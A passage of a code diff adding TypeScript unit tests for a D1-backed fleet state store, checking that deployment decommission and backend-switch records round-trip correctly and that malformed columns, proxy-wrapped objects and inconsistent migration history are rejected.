+    applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+  };
+}
+
+function decommissionFixtureOptions(
+  revision: number,
+): NormalDecommissionIntentFixtureOptions {
+  return {
+    operationId: DECOMMISSION_OPERATION_ID,
+    revision,
+    generation: 0,
+    updatedAt: `2026-08-11T00:00:${String(revision).padStart(2, '0')}.000Z`,
+    entryLifecyclePhase: 'ready',
+  };
+}
+
+function transitioningRecord(revision = 0): FleetRecord {
+  const base = decommissionBase();
+  return {
+    ...base,
+    phase: 'decommission-advancing',
+    decommissionIntent: {
+      state: 'transitioning',
+      ...normalDecommissionIntentFixture(
+        base,
+        'ready',
+        decommissionFixtureOptions(revision),
+      ),
+    },
+  };
+}
+
+function externalPolicyAndTarget(record: FleetRecord) {
+  const outboundPolicy = canonicalDeploymentEgressPolicy({
+    policyId: `policy-${record.tenantTag}`,
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    allowedHosts: [],
+  });
+  return {
+    outboundPolicy,
+    platformTarget: {
+      maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY,
+      stateArtifactDigest: 'a'.repeat(64),
+      stateDurableObjectHistoryDigest: 'b'.repeat(64),
+      egressArtifactDigest: 'c'.repeat(64),
+      d1SchemaVersion: record.schemaVersion,
+      d1SchemaHistoryDigest: 'd'.repeat(64),
+      outboundPolicy,
+    },
+  };
+}
+
+function backendSwitchStateRecord(): FleetRecord {
+  const base = decommissionBase();
+  const { outboundPolicy, platformTarget } = externalPolicyAndTarget(base);
+  const prior = {
+    scriptName: base.scriptName,
+    artifactVersion: base.artifactVersion,
+    specDigest: base.desiredSpecDigest,
+    databaseId: base.databaseId,
+    databaseName: base.databaseName,
+    durableObjectBindings: [],
+    namespaceIds: [],
+    secretNames: ['DEPLOYMENT_IDENTITY_SECRET'],
+    application: { vars: [], secrets: [], r2Buckets: [] },
+    applicationResources: [],
+    customDomain: { id: 'domain-acme', hostname: base.routeHostname },
+  } as const;
+  const record: FleetRecord = {
+    ...base,
+    backend: 'workers-for-platforms',
+    outboundPolicy,
+    platformTarget,
+    platformResources: {
+      maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY,
+      outboundPolicy,
+      stateWorker: {
+        scriptName: base.scriptName,
+        artifactVersion: 'bridge-v1',
+        artifactDigest: platformTarget.stateArtifactDigest,
+        plane: 'ordinary',
+        durableObjectBindings: [],
+        namespaceIds: [],
+      },
+      egressProxy: {
+        scriptName: 'acme-production-egress',
+        artifactVersion: 'egress-v1',
+        artifactDigest: platformTarget.egressArtifactDigest,
+        ...outboundPolicy,
+      },
+    },
+  };
+  const decommissionSnapshot = {
+    prior,
+    restoredArtifactVersion: null,
+    entryPendingArtifactVersion: null,
+    entryPendingNamespaceIds: null,
+    providerTargetSpecDigest: base.desiredSpecDigest,
+    routeHostname: base.routeHostname,
+    routeTargets: [],
+    desiredSpecDigest: base.desiredSpecDigest,
+    target: platformTarget,
+    releases: [],
+    applicationResources: [],
+  } as const;
+  return backendSwitchDecommissionRecordFixture(record, {
+    kind: 'backend-switch',
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    prior,
+    targetSpecDigest: record.desiredSpecDigest,
+    targetApplication: { vars: [], secrets: [], r2Buckets: [] },
+    target: platformTarget,
+    rollbackUntil: '2026-09-30T00:00:00.000Z',
+    subphase: 'finalized',
+    decommissionSnapshot,
+  });
+}
+
 function platformSet(workerName: string): PlatformPlaneResourceSet {
   return {
     accountId: 'account',
@@ -407,6 +600,61 @@ function platformSet(workerName: string): PlatformPlaneResourceSet {
 }
 
 describe('D1FleetStateStore release state', () => {
+  it.each([
+    'plain-worker',
+    'workers-for-platforms',
+  ] as const)('round-trips own mutable teardown artifacts without external topology (%s)', async (backend) => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    const base = decommissionBase();
+    const activeRelease = {
+      physicalScriptName: base.scriptName,
+      specDigest: base.desiredSpecDigest,
+      artifactVersion: base.artifactVersion,
+      releaseSchemaVersion: base.schemaVersion,
+      application: base.applicationBindings,
+    };
+    const record: FleetRecord = {
+      ...base,
+      backend,
+      activeRelease,
+      ...(backend === 'workers-for-platforms'
+        ? {
+            wfpMode: 'platform-catalog',
+            outboundPolicy: externalPolicyAndTarget(base).outboundPolicy,
+          }
+        : {}),
+    };
+    await store.withDeploymentLease(
+      record.tenantTag,
+      record.environment,
+      (lease) => lease.put(record),
+    );
+    await expect(
+      store.get(record.tenantTag, record.environment),
+    ).resolves.toMatchObject({ activeRelease });
+    if (!db.row) throw new Error('stored mutable fixture row is missing');
+    const stored = { ...db.row };
+    for (const alteration of [
+      { physicalScriptName: 'foreign-script' },
+      { artifactVersion: '' },
+    ]) {
+      db.row = {
+        ...stored,
+        active_release: JSON.stringify({ ...activeRelease, ...alteration }),
+      };
+      await expect(
+        store.get(record.tenantTag, record.environment),
+      ).rejects.toThrow('invalid active_release');
+    }
+    if (backend === 'workers-for-platforms') {
+      db.row = { ...stored, wfp_mode: null };
+      await expect(
+        store.get(record.tenantTag, record.environment),
+      ).rejects.toThrow('invalid active_release');
+    }
+  });
+
   it('retries a transient schema bootstrap failure on the same instance', async () => {
     const db = new SchemaD1();
     db.failCreateOnce = true;
@@ -485,6 +733,489 @@ describe('D1FleetStateStore release state', () => {
     ).rejects.toThrow(/absent or incompatible/u);
   });
 
+  it('round-trips every decommission shell arm and an absent shell', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    const base = decommissionBase();
+    const explicitFixture = normalDecommissionIntentFixture(
+      base,
+      'database-deleting',
+      {
+        operationId: 'aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa',
+        revision: 7,
+        generation: 8,
+        updatedAt: '2026-08-29T12:34:56.789Z',
+        requestedSpecDigest: 'e'.repeat(64),
+        entryLifecyclePhase: 'rolling-back',
+        databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY,
+      },
+    );
+    expect(JSON.stringify(explicitFixture)).toBe(
+      JSON.stringify({
+        version: 1,
+        operationId: 'aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa',
+        revision: 7,
+        generation: 8,
+        updatedAt: '2026-08-29T12:34:56.789Z',
+        identity: {
+          record: {
+            tenantTag: base.tenantTag,
+            environment: base.environment,
+            backend: base.backend,
+            scriptName: base.scriptName,
+            databaseId: base.databaseId,
+            databaseName: base.databaseName,
+            routeHostname: base.routeHostname,
+          },
+          mode: {
+            kind: 'normal',
+            requestedSpecDigest: 'e'.repeat(64),
+            entryLifecyclePhase: 'rolling-back',
+          },
+        },
+        databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY,
+        lifecyclePhase: 'database-deleting',
+      }),
+    );
+    await store.withDeploymentLease('acme', 'production', (lease) =>
+      lease.put(base),
+    );
+    await expect(store.get('acme', 'production')).resolves.toEqual(base);
+
+    const purpose = {
+      kind: 'database-pre-export' as const,
+      databaseId: base.databaseId,
+    };
+    const progress = initialWorkerAttachmentScan({
+      kind: 'd1',
+      databaseId: base.databaseId,
+    });
+    const active = (
+      intent: NonNullable<FleetRecord['decommissionIntent']>,
+    ): FleetRecord => ({
+      ...base,
+      phase: 'decommission-advancing',
+      decommissionIntent: intent,
+    });
+    const pendingSpecDigest = 'd'.repeat(64);
+    const migratingBase: FleetRecord = {
+      ...base,
+      phase: 'decommission-advancing',
+      pendingSpecDigest,
+      pendingArtifactVersion: 'candidate-v1',
+    };
+    const migratingCommon = normalDecommissionIntentFixture(
+      migratingBase,
+      'migrating',
+      {
+        ...decommissionFixtureOptions(1),
+        requestedSpecDigest: pendingSpecDigest,
+        entryLifecyclePhase: 'migrating',
+      },
+    );
+    const migratingRecord: FleetRecord = {
+      ...migratingBase,
+      decommissionIntent: {
+        ...migratingCommon,
+        state: 'transitioning',
+      },
+    };
+    const {
+      pendingArtifactVersion: _pendingArtifactVersion,
+      ...migratingWithoutArtifact
+    } = migratingRecord;
+    const transitioning = transitioningRecord();
+    const records: FleetRecord[] = [
+      transitioning,
+      migratingRecord,
+      migratingWithoutArtifact,
+      active({
+        ...normalDecommissionIntentFixture(
+          base,
+          'application-resources-deleted',
+          {
+            ...decommissionFixtureOptions(1),
+            databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY,
+          },
+        ),
+        state: 'discover',
+        purpose,
+        progress,
+      }),
+      active({
+        ...normalDecommissionIntentFixture(
+          base,
+          'application-resources-deleted',
+          {
+            ...decommissionFixtureOptions(2),
+            databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY,
+          },
+        ),
+        state: 'verify',
+        purpose,
+        progress,
+        discoverEvidence: {
+          evidenceSha256: 'b'.repeat(64),
+          evidenceCount: 2,
+        },
+      }),
+      active({
+        ...normalDecommissionIntentFixture(
+          base,
+          'application-resources-deleted',
+          {
+            ...decommissionFixtureOptions(3),
+            databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY,
+          },
+        ),
+        state: 'blocked',
+        purpose,
+        attachment: { plane: 'ordinary', scriptName: 'foreign-worker' },
+      }),
+      { ...base, phase: 'decommissioned' },
+      (() => {
+        const common = normalDecommissionIntentFixture(
+          base,
+          'database-deleting',
+          {
+            ...decommissionFixtureOptions(4),
+            databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY,
+          },
+        );
+        return {
+          ...base,
+          phase: 'decommissioned',
+          databaseExportLocation: 'r2://exports/database.sql',
+          databaseExportSha256: 'c'.repeat(64),
+          databaseExportSize: 42,
+          decommissionIntent: {
+            ...common,
+            databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY,
+            lifecyclePhase: 'decommissioned',
+            state: 'complete',
+          },
+        };
+      })(),
+    ];
+
+    for (const record of records) {
+      await store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put(record),
+      );
+      const roundTripped = await store.get('acme', 'production');
+      expect(roundTripped).toEqual(record);
+      await expect(store.list()).resolves.toEqual([record]);
+      const persistedIntent = db.row?.decommission_intent;
+      expect(persistedIntent).toBe(
+        roundTripped?.decommissionIntent
+          ? JSON.stringify(roundTripped.decommissionIntent)
+          : null,
+      );
+      if (
+        record.decommissionIntent &&
+        record !== migratingRecord &&
+        record !== migratingWithoutArtifact
+      ) {
+        expect(record.decommissionIntent.identity.mode).toMatchObject({
+          kind: 'normal',
+          entryLifecyclePhase: 'ready',
+        });
+      }
+      if (record === transitioning) {
+        expect(JSON.stringify(record.decommissionIntent)).toMatch(
+          /^\{"state":"transitioning"/u,
+        );
+        expect(persistedIntent).not.toBe(
+          JSON.stringify(record.decommissionIntent),
+        );
+      }
+    }
+    const persisted = structuredClone(db.row);
+    await expectInvalidDecommission(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({
+          ...transitioning,
+          decommissionIntent: {
+            ...transitioning.decommissionIntent,
+            databaseExportReceiptAuthority: DECOMMISSION_RECEIPT_AUTHORITY,
+          } as NonNullable<FleetRecord['decommissionIntent']>,
+        }),
+      ),
+    );
+    const d1Record = records[3];
+    if (!d1Record?.decommissionIntent) {
+      throw new Error('missing D1 decommission fixture');
+    }
+    const {
+      databaseExportReceiptAuthority: _databaseExportReceiptAuthority,
+      ...d1IntentWithoutAuthority
+    } = d1Record.decommissionIntent;
+    await expectInvalidDecommission(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({
+          ...d1Record,
+          decommissionIntent: d1IntentWithoutAuthority as NonNullable<
+            FleetRecord['decommissionIntent']
+          >,
+        }),
+      ),
+    );
+    for (const pendingArtifactVersion of ['', 'pending', 42]) {
+      await expectInvalidDecommission(
+        store.withDeploymentLease('acme', 'production', (lease) =>
+          lease.put({
+            ...migratingRecord,
+            pendingArtifactVersion: pendingArtifactVersion as never,
+          }),
+        ),
+      );
+    }
+    await expectInvalidDecommission(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({
+          ...migratingRecord,
+          decommissionIntent: {
+            ...migratingRecord.decommissionIntent,
+            lifecyclePhase: 'decommissioning',
+          } as NonNullable<FleetRecord['decommissionIntent']>,
+        }),
+      ),
+    );
+    expect(db.row).toEqual(persisted);
+  });
+
+  it('refuses malformed decommission columns and write values', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    const valid = transitioningRecord();
+    await store.withDeploymentLease('acme', 'production', (lease) =>
+      lease.put(valid),
+    );
+    const persisted = structuredClone(db.row);
+    const validIntent = valid.decommissionIntent;
+    if (!validIntent) throw new Error('test record has no decommission intent');
+
+    const serialized = String(persisted?.decommission_intent);
+    const exactBound = serialized.padEnd(DECOMMISSION_INTENT_BYTE_BOUND, ' ');
+    expect(DECOMMISSION_INTENT_BYTE_BOUND).toBe(98_304);
+    expect(new TextEncoder().encode(exactBound).byteLength).toBe(
+      DECOMMISSION_INTENT_BYTE_BOUND,
+    );
+    db.row = { ...persisted, decommission_intent: exactBound };
+    await expect(store.get('acme', 'production')).resolves.toEqual(valid);
+
+    for (const malformed of [
+      42,
+      '{',
+      'x'.repeat(98_305),
+      'é'.repeat(49_153),
+      JSON.stringify({ ...validIntent, version: 2 }),
+      JSON.stringify({
+        ...validIntent,
+        identity: {
+          ...validIntent.identity,
+          record: { ...validIntent.identity.record, scriptName: 'other' },
+        },
+      }),
+    ]) {
+      db.row = { ...persisted, decommission_intent: malformed };
+      await expectInvalidDecommission(store.get('acme', 'production'));
+    }
+    db.row = persisted;
+
+    const encode = vi.spyOn(TextEncoder.prototype, 'encode');
+    try {
+      const before = encode.mock.calls.length;
+      db.row = { ...persisted, decommission_intent: 'x'.repeat(98_305) };
+      await expectInvalidDecommission(store.get('acme', 'production'));
+      expect(encode).toHaveBeenCalledTimes(before);
+    } finally {
+      encode.mockRestore();
+      db.row = persisted;
+    }
+
+    db.row = {
+      ...persisted,
+      phase: 'decommission-advancing',
+      decommission_intent: null,
+    };
+    await expectInvalidDecommission(store.get('acme', 'production'));
+    db.row = persisted;
+
+    await expect(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({ ...valid, decommissionIntent: undefined }),
+      ),
+    ).rejects.toThrow('backend switch decommission record is malformed');
+    for (const malformed of [null, false]) {
+      await expectInvalidDecommission(
+        store.withDeploymentLease('acme', 'production', (lease) =>
+          lease.put({
+            ...decommissionBase(),
+            decommissionIntent: malformed as never,
+          }),
+        ),
+      );
+    }
+    await expectInvalidDecommission(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({
+          ...decommissionBase(),
+          phase: 'decommission-advancing',
+        }),
+      ),
+    );
+    await expectInvalidDecommission(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({
+          ...valid,
+          decommissionIntent: {
+            ...valid.decommissionIntent,
+            version: 2,
+          } as never,
+        }),
+      ),
+    );
+    await expectInvalidDecommission(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({
+          ...valid,
+          pendingSpecDigest: 'e'.repeat(64),
+        }),
+      ),
+    );
+    await expectInvalidDecommission(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({
+          ...valid,
+          pendingSpecDigest: 'e'.repeat(64),
+          pendingArtifactVersion: 'candidate-v2',
+        }),
+      ),
+    );
+    expect(db.row).toEqual(persisted);
+  });
+
+  it('keeps the decommission column compatible and chronologically appended', async () => {
+    expect(ADDED_NULLABLE_TEXT_COLUMNS).toEqual([
+      'backend_switch_intent',
+      'settled_settlement_key',
+      'decommission_intent',
+      'cleanup_intent',
+      'invocation_authority',
+      'wfp_mode',
+    ]);
+    const current = new SchemaD1();
+    await new D1FleetStateStore(current, { accountId: 'account' }).get(
+      'acme',
+      'production',
+    );
+    expect(current.columns.get('decommission_intent')).toEqual(
+      nullableTextColumn('decommission_intent'),
+    );
+    expect(current.columns.get('cleanup_intent')).toEqual(
+      nullableTextColumn('cleanup_intent'),
+    );
+    expect(current.columns.get('invocation_authority')).toEqual(
+      nullableTextColumn('invocation_authority'),
+    );
+    expect(current.deploymentCreateSql).toMatch(
+      /backend_switch_intent TEXT,\s+decommission_intent TEXT,\s+cleanup_intent TEXT,\s+invocation_authority TEXT,\s+durable_object_tag TEXT/u,
+    );
+
+    const incompatible = new SchemaD1();
+    incompatible.columns.set('decommission_intent', {
+      name: 'decommission_intent',
+      type: 'INTEGER',
+      notnull: 1,
+      pk: 0,
+    });
+    await expect(
+      new D1FleetStateStore(incompatible, { accountId: 'account' }).get(
+        'acme',
+        'production',
+      ),
+    ).rejects.toThrow(/absent or incompatible/u);
+  });
+
+  it('keeps the independent INSERT projection in exact logical order', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    await store.withDeploymentLease('acme', 'production', (lease) =>
+      lease.put(transitioningRecord()),
+    );
+    const columns =
+      /INSERT INTO anchorage_fleet_deployments \(([\s\S]*?)\) SELECT/u
+        .exec(String(db.deploymentInsertSql))?.[1]
+        ?.split(',')
+        .map((column) => column.trim());
+    expect(columns).toEqual([
+      'tenant_tag',
+      'environment',
+      'backend',
+      'script_name',
+      'database_id',
+      'database_name',
+      'schema_version',
+      'artifact_version',
+      'desired_spec_digest',
+      'pending_spec_digest',
+      'pending_artifact_version',
+      'active_release',
+      'pending_release',
+      'migration_prior_release',
+      'rollback_release',
+      'retiring_release',
+      'outbound_policy',
+      'platform_resources',
+      'platform_target',
+      'migration_intent',
+      'backend_switch_intent',
+      'decommission_intent',
+      'cleanup_intent',
+      'invocation_authority',
+      'durable_object_tag',
+      'durable_object_migration_history',
+      'durable_object_migration_history_digest',
+      'durable_object_bindings',
+      'application_resources',
+      'application_bindings',
+      'route_hostname',
+      'phase',
+      'database_export_location',
+      'database_export_sha256',
+      'database_export_size',
+      'settled_settlement_key',
+      'updated_at',
+      'wfp_mode',
+    ]);
+  });
+
+  it('converges only a byte-identical lost decommission write response', async () => {
+    const db = new LostResponseD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    db.lose = 'exact';
+    await expect(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put(transitioningRecord(1)),
+      ),
+    ).resolves.toBeUndefined();
+    await expect(store.get('acme', 'production')).resolves.toMatchObject({
+      decommissionIntent: { revision: 1 },
+    });
+
+    db.lose = 'changed';
+    await expect(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put(transitioningRecord(2)),
+      ),
+    ).rejects.toThrow('mixed atomic ownership commit');
+    await expect(store.get('acme', 'production')).resolves.toMatchObject({
+      decommissionIntent: { revision: 3 },
+    });
+    expect(db.claims.size).toBe(1);
+  });
+
   it('atomically transitions the deployment claim role with backend ownership', async () => {
     const db = new MemoryD1();
     const store = new D1FleetStateStore(db, { accountId: 'account' });
@@ -492,7 +1223,12 @@ describe('D1FleetStateStore release state', () => {
     await store.withDeploymentLease('acme', 'production', (lease) =>
       lease.put(plain),
     );
-    const external = { ...plain, backend: 'workers-for-platforms' as const };
+    const { outboundPolicy } = externalPolicyAndTarget(plain);
+    const external = {
+      ...plain,
+      backend: 'workers-for-platforms' as const,
+      outboundPolicy,
+    };
 
     await store.withDeploymentLease('acme', 'production', (lease) =>
       lease.put(external),
@@ -514,12 +1250,15 @@ describe('D1FleetStateStore release state', () => {
     await store.withDeploymentLease('acme', 'production', (lease) =>
       lease.put(plain),
     );
+    const ownership = externalPolicyAndTarget(plain);
     const switched: FleetRecord = {
       ...plain,
+      ...ownership,
       backend: 'workers-for-platforms',
       phase: 'ready',
       platformResources: {
         maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY,
+        outboundPolicy: ownership.outboundPolicy,
         stateWorker: {
           scriptName: plain.scriptName,
           artifactVersion: 'bridge-v1',
@@ -528,6 +1267,12 @@ describe('D1FleetStateStore release state', () => {
           durableObjectBindings: [],
           namespaceIds: [],
         },
+        egressProxy: {
+          scriptName: 'plain-worker-egress',
+          artifactVersion: 'bridge-egress-v1',
+          artifactDigest: 'c'.repeat(64),
+          ...ownership.outboundPolicy,
+        },
       },
     };
     await store.withDeploymentLease('acme', 'production', (lease) =>
@@ -593,12 +1338,13 @@ describe('D1FleetStateStore release state', () => {
     const db = new MemoryD1();
     const store = new D1FleetStateStore(db, { accountId: 'account' });
     const record = reservedRecord('workers-for-platforms');
+    const { outboundPolicy } = externalPolicyAndTarget(record);
     const trustedName =
       role === 'state'
         ? externalStateScriptName(record)
         : externalEgressProxyScriptName(record);
     await store.withDeploymentLease('acme', 'production', (lease) =>
-      lease.put(record),
+      lease.put({ ...record, outboundPolicy }),
     );
 
     await expect(
@@ -610,6 +1356,44 @@ describe('D1FleetStateStore release state', () => {
     ).resolves.toBeUndefined();
   });
 
+  it('rejects persisted Durable Object history, digest, and tag divergence on read', async () => {
+    const db = new MemoryD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+    const history = [{ tag: 'state-v1', newClasses: ['State'] }];
+    const base = reservedRecord('workers-for-platforms');
+    const record: FleetRecord = {
+      ...base,
+      outboundPolicy: externalPolicyAndTarget(base).outboundPolicy,
+      applicationResources: [],
+      applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+      durableObjectTag: 'state-v1',
+      durableObjectMigrationHistory: history,
+      durableObjectMigrationHistoryDigest:
+        durableObjectMigrationHistoryDigest(history),
+    };
+    await store.withDeploymentLease('acme', 'production', (lease) =>
+      lease.put(record),
+    );
+    await expect(store.get('acme', 'production')).resolves.toEqual(record);
+    const persisted = db.row;
+    if (!persisted) throw new Error('missing persisted record');
+    for (const corruption of [
+      { durable_object_tag: 'foreign-tag' },
+      { durable_object_migration_history_digest: 'f'.repeat(64) },
+      { durable_object_migration_history: null },
+      { durable_object_migration_history_digest: null },
+    ]) {
+      db.row = { ...persisted, ...corruption };
+      const corrupted = { ...db.row };
+      await expect(store.get('acme', 'production')).rejects.toThrow(
+        new Error(
+          'fleet state row has inconsistent Durable Object migration history',
+        ),
+      );
+      expect(db.row).toEqual(corrupted);
+    }
+  });
+
   it('round-trips active, pending, and retained immutable release metadata', async () => {
     const db = new MemoryD1();
     const store = new D1FleetStateStore(db, { accountId: 'account' });
@@ -774,6 +1558,80 @@ describe('D1FleetStateStore release state', () => {
       lease.put(record),
     );
     await expect(store.get('acme', 'production')).resolves.toEqual(record);
+    if (!record.migrationIntent) throw new Error('missing migration intent');
+
+    const legacyTeardown: FleetRecord = {
+      ...record,
+      desiredSpecDigest: record.migrationIntent.targetSpecDigest,
+      phase: 'decommissioning',
+    };
+    for (const phase of [
+      'decommissioning',
+      'traffic-removed',
+      'credentials-revoked',
+      'worker-deleted',
+      'platform-credentials-revoked',
+    ] as const) {
+      const retained = { ...legacyTeardown, phase };
+      await store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put(retained),
+      );
+      await expect(store.get('acme', 'production')).resolves.toEqual(retained);
+    }
+    for (const invalid of [
+      { ...legacyTeardown, desiredSpecDigest: record.desiredSpecDigest },
+      { ...legacyTeardown, phase: 'ready' as const },
+      { ...legacyTeardown, phase: 'platform-resources-deleted' as const },
+      { ...legacyTeardown, phase: 'decommissioned' as const },
+    ]) {
+      await expect(
+        store.withDeploymentLease('acme', 'production', (lease) =>
+          lease.put(invalid),
+        ),
+      ).rejects.toThrow(/inconsistent migration intent/);
+    }
+
+    const decommissioningMigration: FleetRecord = {
+      ...record,
+      phase: 'decommission-advancing',
+      decommissionIntent: {
+        ...normalDecommissionIntentFixture(record, 'migrating', {
+          operationId: '12345678-1234-4abc-8def-1234567890ab',
+          revision: 0,
+          generation: 0,
+          updatedAt: '2026-08-29T12:00:00.000Z',
+          requestedSpecDigest: record.migrationIntent.targetSpecDigest,
+          entryLifecyclePhase: 'migrating',
+        }),
+        state: 'transitioning',
+      },
+    };
+    await store.withDeploymentLease('acme', 'production', (lease) =>
+      lease.put(decommissioningMigration),
+    );
+    await expect(store.get('acme', 'production')).resolves.toEqual(
+      decommissioningMigration,
+    );
+
+    const { migrationIntent: _withoutIntent, ...withoutIntent } =
+      decommissioningMigration;
+    await expectInvalidDecommission(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put(withoutIntent),
+      ),
+    );
+    await expectInvalidDecommission(
+      store.withDeploymentLease('acme', 'production', (lease) =>
+        lease.put({
+          ...decommissioningMigration,
+          pendingSpecDigest: '9'.repeat(64),
+        }),
+      ),
+    );
+
+    await store.withDeploymentLease('acme', 'production', (lease) =>
+      lease.put(record),
+    );
 
     const serializedIntent = JSON.parse(
       String(db.row?.migration_intent),
@@ -935,6 +1793,12 @@ describe('D1FleetStateStore release state', () => {
   it('rejects malformed persisted platform resource ownership', async () => {
     const db = new MemoryD1();
     const store = new D1FleetStateStore(db, { accountId: 'account' });
+    const outboundPolicy = canonicalDeploymentEgressPolicy({
+      policyId: 'policy-acme',
+      tenantTag: 'acme',
+      environment: 'production',
+      allowedHosts: [],
+    });
     const base: FleetRecord = {
       tenantTag: 'acme',
       environment: 'production',
@@ -945,17 +1809,13 @@ describe('D1FleetStateStore release state', () => {
       schemaVersion: 1,
       artifactVersion: 'release-version',
       desiredSpecDigest: 'a'.repeat(64),
-      outboundPolicy: canonicalDeploymentEgressPolicy({
-        policyId: 'policy-acme',
-        tenantTag: 'acme',
-        environment: 'production',
-        allowedHosts: [],
-      }),
+      outboundPolicy,
       durableObjectBindings: [],
       routeHostname: 'acme.example.test',
       phase: 'platform-resources-deployed',
       platformResources: {
         maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY,
+        outboundPolicy,
         stateWorker: {
           scriptName: 'acme-production-state',
           artifactVersion: 'state-version',
@@ -965,6 +1825,21 @@ describe('D1FleetStateStore release state', () => {
           durableObjectBindings: [],
           namespaceIds: [],
         },
+        egressProxy: {
+          scriptName: 'acme-production-egress',
+          artifactVersion: 'egress-version',
+          artifactDigest: 'c'.repeat(64),
+          ...outboundPolicy,
+        },
+      },
+      platformTarget: {
+        maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY,
+        stateArtifactDigest: 'a'.repeat(64),
+        stateDurableObjectHistoryDigest: 'b'.repeat(64),
+        egressArtifactDigest: 'c'.repeat(64),
+        d1SchemaVersion: 1,
+        d1SchemaHistoryDigest: 'd'.repeat(64),
+        outboundPolicy,
       },
       updatedAt: '2026-08-11T00:00:00.000Z',
     };
@@ -994,4 +1869,501 @@ describe('D1FleetStateStore release state', () => {
       /invalid platform_resources/,
     );
   });
+
+  it('persists backend-switch and decommission authorities atomically', async () => {
+    const record = backendSwitchStateRecord();
+    const db = new LostResponseD1();
+    const store = new D1FleetStateStore(db, { accountId: 'account' });
+
+    db.lose = 'exact';
+    await expect(
+      store.withDeploymentLease(record.tenantTag, record.environment, (lease) =>
+        lease.put(record),
+      ),
+    ).resolves.toBeUndefined();
+    await expect(
+      store.get(record.tenantTag, record.environment),
+    ).resolves.toEqual(record);
+    expect(db.row).toMatchObject({
+      phase: 'decommission-advancing',
+      backend_switch_intent: expect.any(String),
+      decommission_intent: expect.any(String),
+    });
+    const committedRow = db.row;
+    const committedClaims = [...db.claims.entries()];
+    const switchIntent = record.backendSwitchIntent;
+    if (!switchIntent)
+      throw new Error('backend-switch fixture lost its intent');
+    const batch = vi.spyOn(db, 'batch');
+    const batchCalls = batch.mock.calls.length;
+    let switchGetterCalls = 0;
+    const accessorRecord = { ...record };
+    Object.defineProperty(accessorRecord, 'backendSwitchIntent', {
+      configurable: true,
+      enumerable: true,
+      get() {
+        switchGetterCalls += 1;
+        return switchIntent;
+      },
+    });
+    const hidingProxy = new Proxy(record, {
+      ownKeys(target) {
+        return Reflect.ownKeys(target).filter(
+          (key) => key !== 'backendSwitchIntent',
+        );
+      },
+    });
+    const revoked = Proxy.revocable(record, {});
+    revoked.revoke();
+    const hostileWrites = [
+      ['accessor', accessorRecord],
+      ['symbol', { ...record, [Symbol('hostile')]: true }],
+      ['transparent proxy', new Proxy(record, {})],
+      ['hiding proxy', hidingProxy],
+      ['revoked proxy', revoked.proxy],
+    ] as const;
+    for (const [label, hostile] of hostileWrites) {
+      await expect(
+        store.withDeploymentLease(
+          record.tenantTag,
+          record.environment,
+          (lease) => lease.put(hostile as FleetRecord),
+        ),
+        label,
+      ).rejects.toThrow('backend switch decommission record is malformed');
+      expect(batch.mock.calls.length, label).toBe(batchCalls);
+    }
+    expect(switchGetterCalls).toBe(0);
+    expect(db.row).toBe(committedRow);
+    expect([...db.claims.entries()]).toEqual(committedClaims);
+
+    await expect(
+      store.withDeploymentLease(record.tenantTag, record.environment, (lease) =>
+        lease.put({ ...record, backendSwitchIntent: undefined }),
+      ),
+    ).rejects.toThrow('backend switch decommission record is malformed');
+    await expect(
+      store.withDeploymentLease(record.tenantTag, record.environment, (lease) =>
+        lease.put({ ...record, decommissionIntent: undefined }),
+      ),
+    ).rejects.toThrow('backend switch decommission record is malformed');
+    const { backendSwitchIntent: _switchIntent, ...shellWithoutSwitch } =
+      record;
+    await expect(
+      store.withDeploymentLease(record.tenantTag, record.environment, (lease) =>
+        lease.put(shellWithoutSwitch),
+      ),
+    ).rejects.toThrow('backend switch decommission record is malformed');
+    const { outboundPolicy: _outboundPolicy, ...withoutOutboundPolicy } =
+      record;
+    await expect(
+      store.withDeploymentLease(record.tenantTag, record.environment, (lease) =>
+        lease.put(withoutOutboundPolicy),
+      ),
+    ).rejects.toThrow('backend switch decommission record is malformed');
+    await expect(
+      store.withDeploymentLease(record.tenantTag, record.environment, (lease) =>
+        lease.put({
+          ...record,
+          updatedAt: '2026-08-11T00:00:01.000Z',
+        }),
+      ),
+    ).rejects.toThrow('backend switch decommission record is malformed');
+    await expect(
+      store.withDeploymentLease(record.tenantTag, record.environment, (lease) =>
+        lease.put({
+          ...record,
